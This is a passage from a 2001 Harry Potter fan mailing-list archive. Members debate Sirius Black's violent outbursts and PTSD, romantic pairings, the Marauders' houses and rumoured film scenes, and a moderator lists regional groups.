> bedcurtains with a knife instead of drawing them back? He had to drag
> Ron into the tunnel and to the shrieking shack, but was breaking his
> leg in the process absolutely inevitable?

It surely wasn't inevitable, at least from your "healthy" point of view.
But one of the classic PTSD symptoms consists of uncontrolled outbursts
of anger and rage, which, in the worst case, can lead to criminal
behavior. In Sirius, this effect might have been increased because
he seems to be a more impulsive person, although I am not really
sure of this. The only hint to this we have is the incident with Snape,
and he was a teenager then, so I prefer to be careful with making
such statements. Anyway, my point is that in PoA, he very likely
is unable to control his anger, not because this is his nature, but
because he is suffering from a psychiatric disorder that has its
origin in both his involvement in the deaths of Harry's parents and
12 years of unjust imprisonment. In fact, he still is in an ongoing
state of trauma, having no support system, no one to talk to,
hiding from the Dementors, fearing for his own life and not in the
least for Harry's life.

> Hadn't Hermione kicked him,
> how far would he have gone in defending himself against Harry's
> attack in the Shrieking Shack

I still want to believe that he wouldn't have choked Harry to death,
but of course we can't be sure of this. It depends on what was going
on in his head at that moment, but this, only JKR knows it. There's
the possibility that, given his state of mind, he didn't really realize what
he was doing. Again, this is not meant to be an excuse, just an
explanation, and of course no one has to agree with this.

> These are the major points that make me uneasy about Sirius: The man
> has a tendency towards violence I definitely dislike and which, IMO,
> can only partly be explained away by his twelve years in Azkaban.

Here I can't agree with you. His violence can be explained as
above, and Azkaban is not the only reason for it, but just one of it.

> If
> Azkaban was an ordinary prison, where the use of brutality and
> violence is essential for surviving, we could give him credit for
> having got used to it.

I have to disagree again. Long term imprisonment like in prisoners
of war or in concentration camps definitely qualifies as a major
traumatic stressor. The longer you stay in such an "institution",
the more likely it becomes that you will be seriously traumatized.
You don't need other prisoners to teach you how to use violence
to survive. 12 years in Azkaban will leave you as an emotional wreck,
and each time I reread PoA, I'm impressed about how realistically JKR
has portrayed this. Maybe because she once was involved with
Amnesty International? Just for an example of "real life": quite a
lot of the political prisoners of the former East Germany seem
to suffer from PTSD, even if they were never tortured and never
experienced any other kind of physical violence during their
imprisonment. Sorry, I can't give you a source here, I have read
this awhile ago in a study at a German university website.

> If his outbursts of uncontrolled rage were
> directed only against Snape and Pettigrew, it would be more than
> understandable (more for Pettigrew than for Snape, but anyway).

No. The whole problem is, that if you suffer from PTSD, you
don't react "rationally". Domestic violence is a big problem
for men suffering from this disorder. In general, their wives
and children don't have anything to do with the cause of their
trauma(s).

> So my problem with Sirius is: What damage might a person who is so
> quick-tempered and so violence-prone do during the next book(s)? His
> character makes him far too susceptible to some nice scheme concocted
> by Voldemort& Malfoy, turning him against somebody on the Good Side,
> thus seriously endangering the Old Crowd and maybe even Harry or one
> of his friends. I can see Sirius causing somebody's death and dying
> himself in some kind of repentance-induced kamikaze action, that
> would fit the picture I've formed of him.

I can't see what you described, and I am pretty sure we won't see
very much uncontrolled rage from Sirius anymore. There was a reason
why JKR sent him to the Tropics for a whole summer. She had to
get him out of the way (of course), but she also had to give him
the opportunity to recover a bit, and therefore he needed to be
in a place where he could feel safe. Of course four months aren't
enough to recover from 13 years of ongoing trauma, but it had
to be enough for him to get a grip on himself. Hence the seemingly
"different" personality we saw in GoF. I don't think it was different
at all, I just think that we got a glimpse on his real personality.
But that's just my personal opinion.

For anyone who is interested in some background information on
what I have said in this post, I'd recommend the website of
the National Center for PTSD, they have information both for
the general public and a nice collection of clinical articles.
http://www.ncptsd.org

Monika

------
Book and movie reviews in English and German:
http://sites.inka.de/darwin/indexalt.html





From meboriqua at aol.com  Sat Sep  8 12:52:43 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 08 Sep 2001 12:52:43 -0000
Subject: SHIP: Love triangle?
In-Reply-To: <3d.10fe1855.28cae07e@aol.com>
Message-ID: <9nd4ar+dnas@eGroups.com>

No: HPFGUIDX 25759

--- In HPforGrownups at y..., heidi.h.tandy.c92 at a... wrote:

< most boys with normal upbringings have been hugged and  kissed by 
girls&women at least on occasion, by the time they are 11, going on 
12. 
> In his conscious memory, Harry has not. Never. 
> The first hug he can remember is en route to confront Voldemort - 
> "Hermione'slip trembled, and she suddenly dashed at Harry and threw 
her arms  around him."
> I was also thinking that the first kiss he ever has was also from 
Hermione at  the end of GoF, but he was actually kissed by all 3 
chasers during PoA, when  they win the match against ravenclaw, so 
there goes that argument.  But I do think that the fact that Hermione 
is the first person who hugs him  must have some import in his life.>

*Sigh*  Great points, Heidi.  Now I'm going to get very SHIPpy here.  
Can't we also say, then, that Ginny is the first girl to give Harry 
any real attention?  No one has ever had a crush on Harry before.  
While Hermione's affectionate actions towards Harry may be 
significant, as far as we know it is all in friendship.  Ginny *likes* 
Harry.  

--jenny from ravenclaw, who just cannot stay away from SHIPs, as 
seasick as they may make her at times *******************




From pennylin at swbell.net  Sat Sep  8 13:59:40 2001
From: pennylin at swbell.net (Penny & Bryce)
Date: Sat, 08 Sep 2001 08:59:40 -0500
Subject: [HPforGrownups] Re: SHIP: Love triangle?
References: <9nbvae+hroc@eGroups.com>
Message-ID: <3B9A244C.9050204@swbell.net>

No: HPFGUIDX 25760

Hi --

meboriqua at aol.com wrote:


> Oh, come on Penny - the love triangle could be Hermione likes Ron who
> likes HARRY who likes Ginny...
> 
> You never know.
> 
> --jenny from ravenclaw, writing this with an evil grin

Okay, geometry & math in general were never my strong points, but isn't 
a triangle 3 sided?  I count 4 people in your equation above, Jenny.  :--)

Also from Jenny:

<<<Can't we also say, then, that Ginny is the first girl to give Harry 
any real attention?  <snip>  Ginny *likes* Harry.>>>

Well, Harry doesn't seem too thrilled about Ginny's attentions though, 
does he?  (He tells Hagrid to shut up about it; he's embarassed about 
the Valentine (yeah, I know, it might not have been Ginny but Harry 
apparently thinks so)).

Besides, Hermione also *likes* Harry.  IMO.  :--)

The first hug he ever remembers receiving is from Hermione!  Yes, I love 
this Heidi.  Quite a nice point.

Penny
(who can't wait to see that hug on-screen in November)




From scaryfairymary at hotmail.com  Sat Sep  8 14:46:21 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Sat, 08 Sep 2001 14:46:21 -0000
Subject: Marauders' Houses
In-Reply-To: <9nbve8+d750@eGroups.com>
Message-ID: <9ndavt+h7kd@eGroups.com>

No: HPFGUIDX 25761

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
--- In HPforGrownups at y..., KayandJay1 at M... wrote:
 > James - Gryffindor (fact)
 > 
 > 
 > Remus - Gryffindor ( fact)  
 > 
 >
 
I think I have grounds for believing that Sirius was in Gryffindor 
aswell.  Didn't he know where the Gryff. common room was when he was 
after Pettigrew? The first time when he attacked the Fat Lady and 
again when he got past Sir Cadogan.  The second time didn't he know 
where the 3rd year boys' dormitory was?  If Harry and Ron had such a 
hard time finding the Slytherin common room (CoS), there would be no 
way someone who had not been a Gryff. could know 1)where to find the 
common room, and 2) find the 3rd year boys' dorm.
I really think that MWPP were all in Gryff. it would just make a lot 
more sense and need a lot less explaining.
-Mary





From john at walton.to  Sat Sep  8 14:52:01 2001
From: john at walton.to (John Walton)
Date: Sat, 08 Sep 2001 10:52:01 -0400
Subject: Chat
In-Reply-To: <9nch4c+ma8k@eGroups.com>
Message-ID: <B7BFA8D0.1355%john@walton.to>

No: HPFGUIDX 25762

katzefan at yahoo.com said:

>> Umm.. rather than going through all of these elaborate means
>> to get a chat going, wouldn't it be easier to just use an IRC chat
>> room?  IRC is a widely accepted chat >standard that people on
>> even really old computers, or computers running operating
>> systems other than Windows or Mac, can use, so EVERYONE
>> could be included that way, and it's a heck of a lot easier than
>> this Cheetah Chat seems to be.
> 
> 
> Except, if I understand correctly, for us Mac users ....

I've used IRC on various Macs I own ::MacSchnoogle:: with no problems. Of
course, MiChat (the Mac version of CheetaChat) is a wonderful program, far
better than the IRC ones.

--John

________________________________

John Walton -- john at walton.to

"Do not go gentle into that good night.
Rage, rage against the dying of the light."
--Dylan Thomas
________________________________




From scaryfairymary at hotmail.com  Sat Sep  8 14:55:34 2001
From: scaryfairymary at hotmail.com (scaryfairymary at hotmail.com)
Date: Sat, 08 Sep 2001 14:55:34 -0000
Subject: Priori Incantantem/Deletrius
In-Reply-To: <9nc42j+ultp@eGroups.com>
Message-ID: <9ndbh6+4use@eGroups.com>

No: HPFGUIDX 25763

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
<snip>
> > Also, in the Dark Mark, Amos Diggory makes the ghost spell 
vanish "in 
> a wisp of smoke" by saying "Deletrius."  So in the graveyard, why 
> doesn't Voldemort just say "Deletrius" to make Cedric, Lily, James 
> and the other ghosts disappear in a "wisp of smoke?"  Is Voldemort, 
> powerful wizard and former head boy, such a poor study that he 
> doesn't remember "Deletrius" when someone like Amos Diggory does?  
> 
> Cindy (who thinks Voldemort might wish to consider a refresher 
course 
> in world domination)

I think the reason Voldemort couldn't do the "deletrius" spell was 
because he was concentrating too much on trying to break the 
connection between the wands that Harry was holding.  Another reason 
could be that you need your wand to perform the "deletrius" spell and 
V's wand was, at that moment, "tied up" so to speak, unable to do 
anyhting else.
Just my thoughts
-Mary




From michelleapostolides at lineone.net  Sat Sep  8 15:48:57 2001
From: michelleapostolides at lineone.net (Michelle Apostolides)
Date: Sat, 8 Sep 2001 16:48:57 +0100
Subject: tomorrow's chat
Message-ID: <019b01c1387d$c6440ae0$4b58063e@tmeltcds>

No: HPFGUIDX 25764

Can someone confirm the room number if we're using Cheeta for this
technical imbecile please ? Is it the same as last week ?

Michelle




From ebonyink at hotmail.com  Sat Sep  8 16:22:40 2001
From: ebonyink at hotmail.com (Ebony)
Date: Sat, 08 Sep 2001 16:22:40 -0000
Subject: I've got a Sirius problem./VF article quote
In-Reply-To: <9nch9r+2b2m@eGroups.com>
Message-ID: <9ndgkg+6b1t@eGroups.com>

No: HPFGUIDX 25765

--- In HPforGrownups at y..., pigwidgeon37 at y... wrote:
> Hallo everybody,
> 
> after a period of happy lurking (due to writing my very own fanfic 
> that is threatening to become longer than GoF), I feel that I just 
> have to make myself very unpopular with 90% of you, professing that 
I really got a problem with the character of Sirius Black- I'd even 
go> as far as saying that I rather dislike him. Now, practically 
> everybody out there is pro-Sirius and so I thought I might 
eventually bore you with my Why-Do-I-Dislike-Sirius- analysis:
<snip!> 

And now, guys, feel free to put me through the shredder! I'm curious 
> to hear your comments.


Hi, Susanna and everyone else too--

I'm not going to put you through the shredder.  :)  I just want to 
say that this week's Vanity Fair article reminded me that we don't 
know everything about Sirius.  A quote follows:

"In fact, Rowling knows far more about each of her characters than 
she ever lets on, even to the actors playing them. "I almost always 
have complete histories for my characters," she says in Conversations 
with J.K. Rowling. "If I put all that detail in, each book would be 
the size of the Encyclopaedia Britannica, but I do have to be careful 
that I don't just assume that the reader knows as much as I do. 
Sirius Black is a good example. I have a whole childhood worked out 
for him. The readers don't need to know that, but I do. I need to 
know much more than them because I'm the one moving characters across 
the page." 

This was the paragraph that got to me the most.  To have access to 
all that information, as a fanfic writer!  All I'd need is one hour 
with her notes... just one hour!

--Ebony AKA AngieJ (who also has her ideas about Sirius' childhood, 
but who is most likely all wrong)




From hermione at pigwidgeon.f9.co.uk  Sat Sep  8 16:27:23 2001
From: hermione at pigwidgeon.f9.co.uk (hermione at pigwidgeon.f9.co.uk)
Date: Sat, 08 Sep 2001 16:27:23 -0000
Subject: New Memeber
Message-ID: <9ndgtb+tvpl@eGroups.com>

No: HPFGUIDX 25766

Hi
I'm new, I'm Natalie 19 from the UK, and just wanted to say Hi.

I don't know why I do it, but I never know what to say in these first 
messages!!

I love Harry Potter, I've read the first 3 books and started the 4th, 
and then got hold of the audio book for it so I listen instead of 
read now!
I'm making a website, I put it up on the internet to test it and if 
anyone is interested in helping with things to put on it I don't mind.

Anyway.... I've run out of things to say so i'll stop.
Talk to you later
Nat




From oppen at cnsinternet.com  Sat Sep  8 16:36:08 2001
From: oppen at cnsinternet.com (Eric Oppen)
Date: Sat, 8 Sep 2001 11:36:08 -0500
Subject: Death Eaters (was: Azkaban and wizard prisons/wizard lawyers)
References: <999936062.1985.12331.l8@yahoogroups.com>
Message-ID: <006201c13884$5e680b40$dbc71bce@hppav>

No: HPFGUIDX 25767

>    Date: Sat, 08 Sep 2001 05:36:09 -0000
>    From: "Catlady (Rita Prince Winston)" <catlady at wicca.net>
> Subject: Re: Death Eaters (was: Azkaban and wizard prisons/wizard lawyers
>
> --- In HPforGrownups at y..., "Eric Oppen" <oppen at c...> wrote:
>
> > I thought it was an honestly iffy question whether Bagman was or
> > was not an actual DE.  I wonder what would have happened if the
> > court had received a sworn statement from Voldemort
>
> Is there anything in wizarding law that stipulates that oaths sworn
> by Evil Wizards and Lords of Lies are worthless?

1) As far as I know, Voldemort's vices do not include _lying._  Killing,
torturing, raising seventeen kinds of jolly havoc, plotting to rule the
world---all there, present-and-accounted-for.  However, so far we have not
seen him _lie._   If anything, he's quite truthful---he says he wants to
rule the world.  He says he wants to torture Muggles and Mudbloods.

2)  Do YOU want to tell him that his word's worthless?  Hello, lily pad!

>
> > to the effect:  "No, Bagman is _not_ a Death Eater.  Death Eaters,
> > after all, are the _elite,_
>
> Elite like Crabbe Sr and Goyle Sr?

We don't know _why_ Voldemort had Things To Say about their prior
performance.  All it might have taken was _one_ mistake on their
part---Voldemort does not strike me as the sort of Evil Overlord-type who's
exactly understanding about things like that.  Also, Voldemort does not
strike me as the sort of gifted person who's at all likely to understand
that things _he_ does easily might be hard for the less gifted...the gods
know I had to deal with _that_ often enough in school; just because my
friends could play ball well, they expected me to do so as well.

Also, Voldemort could have been referring to things other than
mistakes---are Crabbe and Goyle Sr. a bit _soft_ by DE standards?  "What do
you MEAN, you let some of them go?  I don't _care_ that you held 99% of them
down and then forcefed them British school food---when I say I want _all_
the Muggles tortured, I mean _ALL_ of them!  Why am I surrounded by such
incompetent fools?"


>
> >  Kindly do not insult me this way again, unless you fancy spending
> > the rest of your lives on lily pads.  Yours with utter contempt,
> > LORD VOLDEMORT."
>
> btw LOL
>

I don't know about you, but insulting a live Lord Voldemort does not strike
me as the path to a long, happy life.  I'd rather have a velociraptor come
home from a hard day at the swamp to find me smoking his cigars, wearing his
pajamas, and introducing his womenfolk to the delights of non-Euclidean
s*xual practices.  I'd _almost_ rather wake up, the Morning After The Night
Before, with a pounding hangover and no memory of what happened, to find
Professor Trelawney lying beside me wearing a wedding ring.  *glyph of me
doing the "Home Alone" poster-type scream*





From mellienel2 at yahoo.com  Sat Sep  8 17:10:26 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Sat, 08 Sep 2001 17:10:26 -0000
Subject: MOVIE: The Norbert escapade
In-Reply-To: <9nc9rj+d5rc@eGroups.com>
Message-ID: <9ndje2+kegt@eGroups.com>

No: HPFGUIDX 25768


> The new Entertainment Weekly article seems to give further reason 
to 
> believe the Norbert scenes will make it to the movie.  In 
describing 
> what special effects companies were working on what it 
said, "Rhythm & 
> Hues (Cats and Dogs) is raising Hagrid's illegally bred pet 
dragon" . 

Yep, it's definitely in there, it says so in the VF article as well. 
That is, unless they cut him out at last minute, because according to 
EW, the rough cut was about 4 hrs long...

 




From cynthiaanncoe at home.com  Sat Sep  8 17:59:46 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 08 Sep 2001 17:59:46 -0000
Subject: I've got a Sirius problem
In-Reply-To: <9nch9r+2b2m@eGroups.com>
Message-ID: <9ndmai+7l5l@eGroups.com>

No: HPFGUIDX 25769

--- In HPforGrownups at y..., pigwidgeon37 at y... wrote:
> Now, practically 
> everybody out there is pro-Sirius and so I thought I might 
eventually 
> bore you with my Why-Do-I-Dislike-Sirius- analysis:
> 
<snip>

Why did he have to 
> destroy the portrait of the Fat Lady, when she refused to let him 
> into Gryffindor Tower without a password?  When he entered the 
boys' 
> dormitory to get Scabbers, why was it necessary to slash Ron's 
> bedcurtains with a knife instead of drawing them back? He had to 
drag 
> Ron into the tunnel and to the shrieking shack, but was breaking 
his 
> leg in the process absolutely inevitable? Hadn't Hermione kicked 
him, 
> how far would he have gone in defending himself against Harry's 
> attack in the Shrieking Shack (But Black's free hand had found 
> Harry's throat- "No, he hissed, I've waited too long-" The fingers 
> tightened, Harry choked, his glasses askew. ?PoA, p. 367)? 
> So much for PoA, add the Conjunctivitus Curse he would have 
suggested 
> to Harry for getting past the Hungarian Horntail (I was going to 
> suggest a Conjunctivitus curse, as a dragon's eyes are its weakest 
> point- GoF, p.363 UK hardcover ed.), which, according to what Ron 
> tells Harry after the first task, is none too pleasant.

<Snip>

> And now, guys, feel free to put me through the shredder! 


Where is that darn shredder now that I need it?  :)  Personally, I'm 
not at all troubled about any of Sirius' actions (except the 
childhood prank on Snape).

As for slashing the fat lady:  He didn't hurt her (I think).  
Remember, he is worried that Pettigrew will transform and kill Harry, 
so slashing a picture and scaring the Fat Lady seems justifiable.

Next, he slashes Ron's curtains.  Again, perfectly acceptable.  Why 
does he slash the curtains?  Well, it's dark, and he has to find 
Pettigrew quickly before everyone wakes up.  He can't be groping 
around in the dark trying to find the place where the curtains come 
together.  The only place Sirius can be sure Pettigrew can be found 
is Ron's dorm, so it makes sense that Sirius goes there at night, 
when both Ron and Pettigrew are sure to be there.

As for Ron's leg, that wasn't intentional of course.  And Sirius 
twice showed concern for Ron's leg (Shrieking Shack and Sirius' 
escape), so that makes it all better.

As for choking Harry, a lot of people have trouble with this scene.  
But under the circumstances, Sirius' actions are the only things he 
could do.  Sirius has just been knocked down and is getting punched.  
If he lets himself get disarmed, he goes to the dementors, and 
Pettigrew goes free to kill Harry some day.  There is no reason to 
think he was going to keep on choking Harry -- he was going to do 
what he had to do to get Harry off.

As for the conjunctivitis curse, give poor Sirius a break here.  
Sirius knows nothing of the rules of the tournament.  How is Sirius 
supposed to know that Harry can do a summoning charm at all, or that 
using a broom is permitted?  

And let's give Sirius some credit for the fabulous things he has 
done:  trying to protect Harry and fulfill a father role.

I think Sirius is a great character, and all of his actions seem 
quite logical under the circumstances.  The only question for me is 
which is the best character in the series:  Lupin or Black?

Cindy





From cynthiaanncoe at home.com  Sat Sep  8 18:02:33 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Sat, 08 Sep 2001 18:02:33 -0000
Subject: Marauders' Houses
In-Reply-To: <9ndavt+h7kd@eGroups.com>
Message-ID: <9ndmfp+qtum@eGroups.com>

No: HPFGUIDX 25770

--- In HPforGrownups at y..., scaryfairymary at h... wrote:
> ---I think I have grounds for believing that Sirius was in 
Gryffindor 
> aswell.  Didn't he know where the Gryff. common room was when he 
was 
> after Pettigrew? The first time when he attacked the Fat Lady and 
> again when he got past Sir Cadogan.  The second time didn't he know 
> where the 3rd year boys' dormitory was?  If Harry and Ron had such 
a 
> hard time finding the Slytherin common room (CoS), there would be 
no 
> way someone who had not been a Gryff. could know 1)where to find 
the 
> common room, and 2) find the 3rd year boys' dorm.
> I really think that MWPP were all in Gryff. it would just make a 
lot 
> more sense and need a lot less explaining.

Remember, Crookshanks could have told Sirius everything he needed to 
know to find the Gryffindor tower and even the location of Ron's 
bed.  When Sirius enters the Gryffindor sleeping quarters, he knows 
precisely which of five beds to attack.  That is undoubtedly due to 
the assistance he had from Crookshanks.

I think it makes sense that MWPP are all in Gryffindor, but I think 
we can only be sure about James.

Cindy




From john at walton.to  Sat Sep  8 18:10:55 2001
From: john at walton.to (John Walton)
Date: Sat, 08 Sep 2001 14:10:55 -0400
Subject: [HPforGrownups] Re: I've got a Sirius problem./VF article
	quote
In-Reply-To: <9ndgkg+6b1t@eGroups.com>
Message-ID: <B7BFD76E.1391%john@walton.to>

No: HPFGUIDX 25771

Ebony said:

> This was the paragraph that got to me the most.  To have access to
> all that information, as a fanfic writer!  All I'd need is one hour
> with her notes... just one hour!

All we can hope for, m'dear, is that when she's done she really does make an
HP Encyclopedia. Scholastic, are you listening? ::sweet smile::

--John

________________________________

John Walton -- john at walton.to

"Beware the Jabberwock, my son!
The jaws that bite, the claws that catch!
Beware the Jubjub bird, and shun
The frumious Bandersnatch!"
--Lewis Carroll, "The Jabberwocky"
________________________________




From mellienel2 at yahoo.com  Sat Sep  8 18:52:59 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Sat, 08 Sep 2001 18:52:59 -0000
Subject: James' house (was Marauders' Houses)
In-Reply-To: <9ncss1+hemj@eGroups.com>
Message-ID: <9ndpeb+ddlv@eGroups.com>

No: HPFGUIDX 25772


> Personally, I think it's likely that all four Marauders were in 
> Gryffindor - not because their personalities have a definite match 
> for Gryffindor, but because of JKR's propensity to put all of the 
> characters into her 'favourite' house. I mean, Hagrid in 
Gryffindor? 
> Come on...

Surely he doesn't belong in ravenclaw or slytherin. the closest other 
match is Hufflepuff. But from Dumbledore's swearing up and down that 
he would trust Hagrid with his life, there is something in the past 
that Hagrid has done that will eventually cement his bravery for us 
beyond the smallest sliver of doubt. Plus, he has to be brave, 
dealing with all those monsters all the time (not the ones he likes, 
I mean running around the forbidden forest trying to track down 
something evil that's killing a unicorn). Plus, he braved Azkaban. 
And, remember him running into D's office, dead rooster in his hand 
and all in CoS, to scream that it couldn't have been Harry who 
petrified NHNick and JFFletchley? When the walls close in, Hagrid 
seems to be more like a gryffindor than anyone else.

m.




From DaveH47 at mindspring.com  Sat Sep  8 19:00:50 2001
From: DaveH47 at mindspring.com (Dave Hardenbrook)
Date: Sat, 8 Sep 2001 12:00:50 -0700
Subject: [HPforGrownups] MOVIE: The Norbert escapade
In-Reply-To: <003f01c13858$c03bb320$084e28d1@oemcomputer>
References: <9nc9rj+d5rc@eGroups.com>
 <003f01c13858$c03bb320$084e28d1@oemcomputer>
Message-ID: <1747667341.20010908120050@mindspring.com>

No: HPFGUIDX 25773


Saturday, September 08, 2001, 4:23:55 AM, Saitaina wrote:

S> It would be stupid to cut any Norbert scene as that's where Harry, Herm, and
S> Neville lose all those house points which nearly guarantee's Slytherin for
S> the house cup thus the giant celebrating moment at the end when Dumbledore
S> awards them house points for their actions regarding Quirll.  While not a
S> critical scene it is important to fans and it would be horrible to see all
S> that go away.

Yes, and it's also (IMHO) important character development for Hagrid,
as well as comic relief just prior to the Forbidden Forest...

*And* (just thought of *another* objection) how does Quirrell find out
how to get past Fluffy without Norbert??

Seems to me there are other things that could be done to shorten
things:

-- Cut the Boa Constrictor (possibly make it a flashback in _CoS_)

-- Condense first finding Fluffy and knocking out the Troll
     into one incident.

-- The Mirror of Erised could be shortened (Harry sees it
    once, at which time he talks to Dumbledore).

-- Only one big Quidditch scene (Cut the one where Snape
     is ref.)

-- "Lump" Ronan and Bane into one character.

-- Make the Chess Game a Chess "Problem" that Ron figures out
    in a few moves (he alone acts as a chess piece.)

S> I vote they keep every scene and have an intermission ever hour for the kids
S> to run around during.  Who's with me?

Sounds good, except that at this rate the _Goblet of Fire_ movie will
be longer than _Doctor Zhivago_, _Lawrence of Arabia_, and the
uncut version of _Greed_ combined!!

-- 
Dave




From neilward at dircon.co.uk  Sat Sep  8 19:00:20 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Sat, 8 Sep 2001 20:00:20 +0100
Subject: ADMIN: HPfGU regional groups/meeting up
Message-ID: <014c01c13898$822c2480$213570c2@c5s910j>

No: HPFGUIDX 25774

Hi everyone,

It would be great to keep track of all the active HPfGU regional groups we
have, so we can point new members at them and hear what's happening around
the globe.

I've created a folder in the Bookmarks section of the main list
(http://groups.yahoo.com/group/HPforGrownups/links/Regional_HPfGU_Lists_0009
99973547/)  [you may have to reconstruct that link] and there may be the
occasional reminder about it on the main list.  I'll link to that folder,
rather than the individual lists, from the VFAQ.

Regional group mods are encouraged to post dates/details of their
events/local news to Announcements and regional members are invited to post
event reports to OT Chatter.

At the end of this message I've listed the groups/mods I know of to date.
If I've missed
anything, please drop a line to the moderators' e-mail address
(hpforgrownups-owner at yahoogroups.com).

If you decide to set up a new regional list, please add a link to it in the
Bookmarks folder and drop a line to the moderator's address.  Alternatively,
check the Regional meetings database
(http://groups.yahoo.com/group/HPforGrownups/database) for details of people
near you, and add your details there.

REGIONAL GROUPS

United States

http://groups.yahoo.com/group/HPFGU-NewYork  (Mod: John Walton)
http://groups.yahoo.com/group/HPFGU-Texas  (Mod: Amanda Lewanski)
http://groups.yahoo.com/group/HP4GU-California  (Mod: Jen Piersol)
http://groups.yahoo.com/group/HP4GU-Florida (Mod: Amber)
http://groups.yahoo.com/group/HPFGU-NewEngland  (Mod: Sinead)
http://groups.yahoo.com/group/HP4GU-GreatLakes (Mod: Ebony)

Europe

http://groups.yahoo.com/group/HPFGU-London (Mod: Neil/Flying Ford Anglia)
http://groups.yahoo.com/group/HPFGU-Germany (Mod: Mike/Aberforth's Goat)

Rest of planet

http://groups.yahoo.com/group/HP4GU-Australia (Mod: Vicky Granger)


Neil
________________________________________
Flying Ford Anglia
Mechanimagus Moderator





From prefectmarcus at yahoo.com  Sat Sep  8 19:59:13 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Sat, 08 Sep 2001 19:59:13 -0000
Subject: The Keeper of the Keys
Message-ID: <9ndtah+91bm@eGroups.com>

No: HPFGUIDX 25775

What does that mean, exactly?  I don't recall Hagrid ever carrying 
any keys.  If it is a ceremonial office, the only ceremonial function 
he seems to perform is to take the first years across the lake at the 
start of their first term, and deliver them to McGonagall at the 
great doors.

Does anybody else have any further insights?

Marcus





From hermione at pigwidgeon.f9.co.uk  Sat Sep  8 20:00:39 2001
From: hermione at pigwidgeon.f9.co.uk (Hermione)
Date: Sat, 8 Sep 2001 21:00:39 +0100
Subject: [HPforGrownups] The Keeper of the Keys
References: <9ndtah+91bm@eGroups.com>
Message-ID: <002501c138a0$ef316880$c500a8c0@mshome.net>

No: HPFGUIDX 25776

Likewise, what does the games keeper mean??

Nat

----- Original Message -----
From: <prefectmarcus at yahoo.com>
To: <HPforGrownups at yahoogroups.com>
Sent: Saturday, September 08, 2001 8:59 PM
Subject: [HPforGrownups] The Keeper of the Keys


> What does that mean, exactly?  I don't recall Hagrid ever carrying
> any keys.  If it is a ceremonial office, the only ceremonial function
> he seems to perform is to take the first years across the lake at the
> start of their first term, and deliver them to McGonagall at the
> great doors.
>
> Does anybody else have any further insights?
>
> Marcus
>
>
>
>
> _______ADMIN________HPFGU_______ADMIN__________
>
> Attention everyone! Before posting, you must read our netiquette tips at
>
http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/netiquetteTI
PS.htm
>
> You should also read the Very Frequently Asked Questions file (VFAQ) at
> http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.htm
and check out our FAQ-based essays at:
http://www.i2k.com/~svderark/lexicon/faq/
>
> For more details or help, contact your personal List Elf or the Moderator
Team at hpforgrownups-owner at yahoogroups.com.
>
> Want to leave this list? Email hpforgrownups-unsubscribe at yahoogroups.com
>
> Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/
>
>
>




From f95lean at dd.chalmers.se  Sat Sep  8 20:31:24 2001
From: f95lean at dd.chalmers.se (Lea Niiniskorpi)
Date: Sat, 8 Sep 2001 22:31:24 +0200 (MEST)
Subject: [HPforGrownups] Marauders' Houses
In-Reply-To: <9ndavt+h7kd@eGroups.com>
Message-ID: <Pine.GSO.4.21.0109082221100.24586-100000@polo.dd.chalmers.se>

No: HPFGUIDX 25777

On Sat, 8 Sep 2001 scaryfairymary at hotmail.com wrote:

>  I think I have grounds for believing that Sirius was in Gryffindor
> aswell.  Didn't he know where the Gryff. common room was when he was
> after Pettigrew? The first time when he attacked the Fat Lady and
> again when he got past Sir Cadogan.  The second time didn't he know
> where the 3rd year boys' dormitory was?  If Harry and Ron had such a
> hard time finding the Slytherin common room (CoS), there would be no
> way someone who had not been a Gryff. could know 1)where to find the
> common room, and 2) find the 3rd year boys' dorm. 

But Sirius was a Marauder and he and his friends had good knowledge of
Hogwarts (they made the Marauder's map). I don't say I don't think he was
in Gryffindor, but I don't think that is enough for proof. 

Cindy's explanation (Crookshanks helped Sirius) also sounded as a good
explanation. It lead me to think about the dormitories. Do Harry, Ron etc
always sleep in the same dormitory, or do they change every year. Is there
one dormitory for first year students where the first year's students of
each year sleep etc.

-- 
// Lea

=================================== 
f95lean at dd.chalmers.se
http://www.dd.chalmers.se/~f95lean/ 
===================================







From meboriqua at aol.com  Sat Sep  8 20:36:16 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Sat, 08 Sep 2001 20:36:16 -0000
Subject: SHIP: Love triangle?
In-Reply-To: <3B9A244C.9050204@swbell.net>
Message-ID: <9ndvg0+7tto@eGroups.com>

No: HPFGUIDX 25778

--- In HPforGrownups at y..., Penny & Bryce <pennylin at s...> wrote:
 
> Okay, geometry & math in general were never my strong points, but 
isn't  a triangle 3 sided?  I count 4 people in your equation above, 
Jenny.  :--)>

:-P to you, Penny.  I am proud to say that my math skills are as good 
as, say, JKR's.  So there.

> Besides, Hermione also *likes* Harry.  IMO.  :--)>

Sure she does.  Harry is one of her very best friends.  Harry likes 
Hermione too.

I'm still standing proud on the deck of the good R/H ship, but Penny, 
I bet you'll at least agree with me that Harry and CHO will never 
happen.  Please?

--jenny from ravenclaw, thinking about quitting her job so she can 
spend more time on defending her very strong SHIP beliefs 
**************************************************************




From maidne at yahoo.com  Sat Sep  8 20:57:12 2001
From: maidne at yahoo.com (maidne at yahoo.com)
Date: Sat, 08 Sep 2001 20:57:12 -0000
Subject: Death Eaters/Keeper of the Keys
In-Reply-To: <006201c13884$5e680b40$dbc71bce@hppav>
Message-ID: <9ne0n8+mf4h@eGroups.com>

No: HPFGUIDX 25779

--- In HPforGrownups at y..., "Eric Oppen" <oppen at c...> wrote:
> 
> 1) As far as I know, Voldemort's vices do not include _lying._  
Killing,
> torturing, raising seventeen kinds of jolly havoc, plotting to rule 
the
> world---all there, present-and-accounted-for.  However, so far we 
have not
> seen him _lie._   If anything, he's quite truthful---he says he 
wants to
